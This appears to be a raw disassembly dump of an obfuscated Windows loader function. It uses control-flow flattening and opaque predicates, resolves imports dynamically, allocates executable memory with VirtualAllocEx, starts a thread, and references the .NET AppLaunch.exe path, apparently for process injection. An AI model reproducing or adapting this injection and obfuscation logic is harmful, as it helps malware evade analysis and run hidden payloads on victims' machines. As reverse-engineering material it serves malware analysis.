cmovne eax, ecx
jmp 0x401810
mov eax, 0x4ffe3e18
jmp 0x401810
mov eax, 0xe3d57ff9
jmp 0x401810
mov eax, dword [ebp - 0x4c13c]
mov eax, dword [eax]
add eax, dword [ebp - 0x4c108]
mov ecx, dword [ebp - 0x4c0b8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c078]
mov eax, dword [ebp - 0x4c0b8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x4c078]
mov esi, 0x3b997520
mov edi, 0xd2debf47
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c078]
cmp dword [eax], 0
mov eax, dword [0x4af3f0]
lea ecx, [eax - 1]
setne byte [ebp - 0x4c09c]
imul ecx, eax
mov eax, 0xd2debf47
jmp 0x40522a
mov eax, dword [ebp - 0x4c074]
mov edi, 0xa55f77c9
mov esi, 0x601afee9
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x4c134], eax
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x601afee9
jmp 0x4017f3
mov eax, dword [0x4af3f0]
mov edi, 0xa213508c
mov esi, 0x2ea5bd32
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2ea5bd32
jmp 0x4017f3
mov eax, 0x1543a16e
jmp 0x401810
mov eax, dword [ebp - 0x4c0b8]
mov eax, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c108], eax
mov eax, dword [ebp - 0x4c088]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c068]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x4c1cc], eax
mov eax, 0x6c4eebd3
jmp 0x401810
mov eax, dword [ebp - 0x4c070]
mov eax, dword [ebp - 0x4c070]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [ebp - 0x4c06c]
mov ecx, dword [ebp - 0x4c0ac]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov ecx, dword [ebp - 0x4c05c]
mov dword [ecx], eax
mov eax, 0x23113449
jmp 0x401810
mov eax, dword [ebp - 0x4c0c8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x4c1b8], eax
mov eax, dword [ebp - 0x4c100]
mov dword [ebp - 0x4c1bc], eax
mov eax, 0x86a9919e
jmp 0x401810
mov eax, dword [ebp - 0x4c11c]
push 0x40
push 0x3000
push dword [eax]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, dword [0x4af3f0]
mov esi, 0x4a147f3d
mov edi, 0xdad1da75
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xdad1da75
jmp 0x405232
mov dword [ebp - 0x4c064], 7
mov eax, 0x883ca89b
jmp 0x401810
mov eax, dword [ebp - 0x4c200]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0x4c1fc]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4c0ec]
mov dword [ecx], eax
mov ecx, 0x6a1369f3
mov eax, dword [ebp - 0x4c08c]
cmp byte [eax], 0
mov eax, 0x1dd3389c
cmove eax, ecx
jmp 0x401810
mov eax, 0x4d889689
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xb807b081
mov edi, 0x7c5c0eeb
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c0d0]
cmovge eax, esi
mov ecx, dword [ecx]
add ecx, 2
mov dword [ebp - 0x4c140], ecx
mov ecx, dword [ebp - 0x4c078]
mov ecx, dword [ecx]
mov dword [ebp - 0x4c144], ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [ebp - 0x4c070]
mov eax, dword [0x4af3f0]
mov esi, 0x38c5176a
mov edi, 0x43ad6e62
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x43ad6e62
jmp 0x405232
mov eax, dword [ebp - 0x4c138]
mov esi, 0x9e28bfa9
mov edi, 0x3380f6f
mov eax, dword [eax]
add eax, dword [ebp - 0x4c0c4]
mov ecx, dword [ebp - 0x4c088]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c068]
mov eax, dword [ebp - 0x4c068]
mov dword [eax], 0
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
jmp 0x404cb1
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xd3cf70c7
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xd2bac2ac
jmp 0x405115
mov eax, dword [ebp - 0x4c0f0]
mov edi, 0x9c3aa235
mov esi, 0x4eb61657
inc eax
mov dword [ebp - 0x4c188], eax
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x4eb61657
jmp 0x4017eb
cmp byte [ebp - 0x4c09e], 0
mov eax, 0x220e9665
mov ecx, 0x3104b7dd
cmovne eax, ecx
jmp 0x401810
mov eax, 0xdd7434fe
jmp 0x401810
mov eax, dword [ebp - 0x4c0e0]
mov ecx, dword [ebp - 0x4c080]
mov esi, 0x84ec41d2
mov edi, 0x2ea5bd32
mov ecx, dword [ecx]
add eax, eax
mov word [ecx], ax
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2ea5bd32
jmp 0x40522a
mov eax, dword [ebp - 0x4c0f4]
mov ecx, dword [ebp - 0x4c068]
mov edi, 0x16bbb323
mov esi, 0x594068cc
inc eax
mov dword [ecx], eax
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x594068cc
jmp 0x4017f3
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [eax]
mov dword [ebp - 0x4c1f4], eax
mov eax, 0x681ca067
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x15770c88
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x44d1ae35
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c070]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x4c14c], ecx
jmp 0x401810
mov dword [ebp - 0x4c0a8], 0
mov eax, 0xbeeab622
mov ecx, dword [ebp - 0x4c174]
mov dword [ebp - 0x4c0ac], ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c1e8]
mov ecx, 0x43dc026a
cmp eax, dword [ebp - 0x4c1ec]
mov eax, 0x9a1187d5
cmovl eax, ecx
jmp 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x5c96372d
mov edi, 0x601afee9
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x601afee9
jmp 0x40522a
mov eax, dword [ebp - 0x4c070]
mov dword [eax], 4
mov eax, 0xa3c544b
jmp 0x401810
mov eax, 0x2d95bb65
jmp 0x401810
mov eax, 0x5172a05e
mov dword [ebp - 0x4c064], 2
jmp 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0xe89cbd7f
mov edi, 0x1d3964ca
jmp 0x404cb1
mov eax, 0x211722c7
jmp 0x401810
mov eax, dword [ebp - 0x4c0ec]
mov eax, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c1fc], eax
mov eax, dword [ebp - 0x4c060]
add eax, 0x18
mov dword [ebp - 0x4c200], eax
mov eax, 0x7d3d2a46
jmp 0x401810
mov eax, 0xf047b359
jmp 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0xec6afb98
mov edi, 0xf93123cf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf93123cf
jmp 0x405232
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x8d7b8dd9
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x6fb466a9
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0x4c118]
cmp ecx, 0xa
cmovge eax, edx
add esi, 0x50
mov dword [ebp - 0x4c11c], esi
jmp 0x401810
mov eax, 0x5b1dd7d4
jmp 0x401810
mov eax, dword [ebp - 0x4c1f4]
mov ecx, eax
xor ecx, 0xdfffffff
test ecx, eax
mov eax, 0xc2d64e2c
mov ecx, 0x9705b9e4
cmove eax, ecx
jmp 0x401810
mov eax, 0x9f2b3bf6
jmp 0x401810
mov eax, dword [ebp - 0x4c068]
mov eax, dword [eax]
mov dword [ebp - 0x4c0f4], eax
mov eax, 0xa4d337a6
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x859877ad
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x1f2d6bf
jmp 0x405115
mov eax, dword [ebp - 0x4c1c8]
mov ecx, 0xf426be11
cmp dword [eax], 0
mov eax, 0xc83baa0
cmove eax, ecx
jmp 0x401810
cmp byte [ebp - 0x4c09d], 0
mov eax, 0x220e9665
mov ecx, 0x65e86865
cmovne eax, ecx
jmp 0x401810
cmp byte [ebp - 0x4c09c], 0
mov eax, 0x5b435136
mov ecx, 0xb04c9b8c
cmovne eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, 0xc085ba46
jmp 0x401810
mov dword [ebp - 0x4c064], 1
mov eax, 0x25e1c3b7
jmp 0x401810
mov eax, 0x17162127
jmp 0x401810
mov eax, dword [ebp - 0x4c080]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c0d4]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x4c098]
mov ecx, dword [ebp - 0x4c080]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x4c098]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x4c0e0], eax
mov eax, 0x5f1c6d01
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x1f2d6bf
mov edi, 0xa670d40f
jmp 0x405015
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xfd08be0e
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x929b5c45
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0x4c05c]
cmp ecx, 0xa
cmovge eax, edx
cmp dword [esi], 0
sets byte [ebp - 0x4c09e]
jmp 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0x9f2b3bf6
mov esi, 0xd36cab82
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd36cab82
jmp 0x4017f3
mov eax, dword [ebp - 0x4c178]
cmp eax, dword [ebp - 0x4c17c]
mov eax, 0x171df47b
setl byte [ebp - 0x4c099]
jmp 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x6be61de
mov edi, 0x92250d94
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x92250d94
jmp 0x405232
mov eax, dword [ebp - 0x4c07c]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x4c1e4], eax
mov eax, 0x29eb1cf
jmp 0x401810
mov eax, dword [ebp - 0x4c1dc]
mov ecx, dword [ebp - 0x4c1e0]
mov edx, dword [ebp - 0x4c1d8]
mov dword [ecx + eax], edx
mov eax, dword [ebp - 0x4c094]
mov eax, dword [ebp - 0x4c0d0]
mov eax, 0x65984d2e
jmp 0x401810
mov eax, 0x22757556
jmp 0x401810
mov eax, dword [ebp - 0x4c05c]
mov ecx, 0x40000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x4c148], eax
mov eax, 0xa54fa62c
jmp 0x401810
mov eax, dword [ebp - 0x4c1b4]
mov ecx, dword [ebp - 0x4c0b4]
inc eax
mov dword [ecx], eax
mov eax, 0xab68fb20
jmp 0x401810
mov eax, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c168], eax
mov eax, 0x6c75971a
jmp 0x401810
mov eax, 0x303cdb45
jmp 0x401810
mov eax, dword [ebp - 0x4c0d0]
mov eax, dword [ebp - 0x4c078]
mov eax, 0xdfb64edf
jmp 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0x6bdbbd51
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x64c2fb56
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c090]
mov eax, dword [ebp - 0x4c07c]
mov eax, 0x1d3964ca
jmp 0x401810
mov eax, 0xe75d8835
jmp 0x401810
mov eax, dword [ebp - 0x4c1d4]
mov ecx, dword [ebp - 0x4c078]
movzx eax, ax
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c094]
mov dword [ecx], eax
mov ecx, 0x9b9131bb
mov eax, dword [ebp - 0x4c094]
cmp dword [eax], 0
mov eax, 0x17162127
cmove eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c0f0]
mov eax, dword [ebp - 0x4c0f0]
mov eax, dword [ebp - 0x4c0f0]
mov eax, 0x453f8fc5
jmp 0x401810
push 4
push 0x3000
push dword [ebp - 0x4c15c]
push dword [ebp - 0x4c114]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0x4c104], 0
mov dword [ebp - 0x4c058], eax
mov eax, 0x1b0f5e4b
mov ecx, 0x17caad8
cmove eax, ecx
jmp 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0x8374727d
mov esi, 0x19a77557
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x19a77557
jmp 0x4017f3
mov eax, dword [ebp - 0x4c10c]
mov ecx, 0x1dce205f
cmp eax, 0xc
mov eax, 0xd438b210
cmove eax, ecx
jmp 0x401810
mov eax, 0x53085a0f
jmp 0x401810
mov eax, 0x38d19faa
jmp 0x401810
mov edx, dword [0x4af3f0]
mov eax, dword [0x4af3ec]
mov esi, 0x43ad6e62
mov edi, 0xe00905f5
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, esi
mov eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c0c4]
mov ecx, dword [ebp - 0x4c0c4]
mov ecx, dword [ebp - 0x4c0c4]
mov ecx, dword [ebp - 0x4c0c4]
add eax, dword [ebp - 0x4c0c4]
mov ecx, dword [ebp - 0x4c088]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c068]
mov eax, dword [ebp - 0x4c068]
mov dword [eax], 0
mov eax, 0xddcb6c0
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xa8840f15
mov edi, 0x4e97f7b5
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov edx, dword [ebp - 0x4c0a8]
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
mov dword [ebp - 0x4c0f0], edx
jmp 0x401810
cmp dword [ebp - 0x4c148], 0
mov eax, dword [0x4af3f0]
mov edi, 0x265844e
mov esi, 0x92250d94
lea ecx, [eax + 1]
setne byte [ebp - 0x4c09d]
imul ecx, eax
mov eax, 0x92250d94
jmp 0x4017eb
mov eax, 0x8035090e
jmp 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [ebp - 0x4c070]
mov eax, 0xe00905f5
jmp 0x401810
mov eax, dword [ebp - 0x4c194]
sub eax, dword [ebp - 0x4c198]
mov ecx, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c100], 0
mov dword [ebp - 0x4c150], eax
mov eax, dword [ebp - 0x4c154]
add eax, ecx
mov dword [ebp - 0x4c0c8], eax
mov eax, 0xf3b63f10
jmp 0x401810
mov eax, dword [ebp - 0x4c1d0]
mov ecx, 0xa2e1e730
cmp dword [eax], 0
mov eax, 0x96d45167
cmove eax, ecx
jmp 0x401810
cmp byte [ebp - 0x4c09b], 0
mov eax, 0xfcc22a25
mov ecx, 0x70b6298a
cmovne eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c1c0]
sub eax, 0xffffff80
mov dword [ebp - 0x4c138], eax
mov eax, 0xecd20f59
jmp 0x401810
mov eax, 0x793633f0
jmp 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0xcba26464
mov esi, 0x4dd14190
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x4dd14190
jmp 0x4017eb
mov eax, dword [ebp - 0x4c060]
mov dword [ebp - 0x4c118], eax
mov eax, 0x65da6bd
jmp 0x401810
mov eax, dword [ebp - 0x4c168]
mov ecx, 0x1b0f5e4b
cmp eax, dword [ebp - 0x4c16c]
mov eax, 0xeeef4383
cmove eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c07c]
mov dword [ebp - 0x4c064], 0xd
mov eax, 0xf48eb747
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xb014f2b6
mov edi, 0x1682eff0
jmp 0x405015
mov eax, dword [ebp - 0x4c0f8]
vmovups ymm0, ymmword [0x4a2270]
vmovups ymm1, ymmword [0x4a2258]
vmovups ymm2, ymmword [0x4a2238]
mov esi, 0xf867a7c8
mov edi, 0x7878300a
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x4c0c0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c084]
mov eax, dword [ebp - 0x4c0c0]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4c084]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c0bc]
mov ecx, dword [ebp - 0x4c058]
mov eax, dword [eax]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x4c084]
mov eax, dword [eax]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x4c080]
mov eax, dword [ebp - 0x4c084]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c080]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c098]
mov eax, dword [ebp - 0x4c098]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x4c08c]
mov eax, dword [ebp - 0x4c060]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x4c08c]
setne byte [eax]
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c0d4]
mov edx, dword [ebp - 0x4c08c]
cmovge eax, esi
cmp byte [edx], 0
setne byte [ebp - 0x4c0a1]
jmp 0x401810
mov eax, 0x40ed70d8
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xa8840f15
mov edi, 0x5b1dd7d4
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xf1629681
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9068feb4
jmp 0x405115
mov eax, 0x16ce6726
jmp 0x401810
mov dword [ebp - 0x4c0fc], 1
mov eax, 0x155041c0
jmp 0x401810
mov eax, dword [ebp - 0x4c160]
mov dword [ebp - 0x4c164], eax
mov eax, 0x3f0994da
jmp 0x401810
mov eax, dword [ebp - 0x4c118]
mov eax, 0x2bb9e29f
jmp 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [eax]
mov dword [ebp - 0x4c1f0], eax
mov eax, 0x153875b5
jmp 0x401810
mov eax, 0xf157d6fe
jmp 0x401810
mov eax, 0x4e889c73
jmp 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xc79ca165
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xdad1da75
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401810
mov dword [ebp - 0x4c064], 0xa
mov eax, 0xa0f3add6
jmp 0x401810
mov eax, dword [ebp - 0x4c0a8]
mov ecx, dword [ebp - 0x4c0ac]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
push dword [ebp - 0x4c184]
push dword [ebp - 0x4c180]
vzeroupper
call fcn.0043ad60
add esp, 0xc
mov eax, 0x95a54049
jmp 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x21ceeb3
mov edi, 0x254eee8a
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x254eee8a
jmp 0x40522a
mov eax, dword [ebp - 0x4c078]
mov eax, dword [ebp - 0x4c0b8]
mov eax, dword [0x4af3f0]
mov edi, 0xb7b956d2
mov esi, 0x575aa585
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x575aa585
jmp 0x4017f3
mov eax, 0x2d0ca0de
jmp 0x401810
mov eax, dword [ebp - 0x4c104]
mov dword [ebp - 0x4c1a0], eax
mov eax, 0x974e8382
jmp 0x401810
mov edx, dword [ebp - 0x4c0c8]
mov esi, 0x66f318d3
mov edi, 0x4f8ab370
mov eax, dword [edx]
add eax, dword [ebp - 0x4c058]
mov ecx, dword [ebp - 0x4c0cc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c0b0]
mov eax, dword [edx + 4]
mov ecx, dword [ebp - 0x4c0b0]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x4f8ab370
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4af3ec], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x401810
mov eax, dword [ebp - 0x4c0f4]
mov eax, dword [ebp - 0x4c0f4]
mov eax, dword [ebp - 0x4c0f4]
mov ecx, dword [ebp - 0x4c068]
inc eax
mov dword [ecx], eax
mov eax, 0x60d0f0fa
jmp 0x401810
mov eax, 0xe75d8835
jmp 0x401810
cmp eax, 0xdd7434fe
jne 0x401810
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00437ee0
mov eax, dword [ebp - 0x4c0fc]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret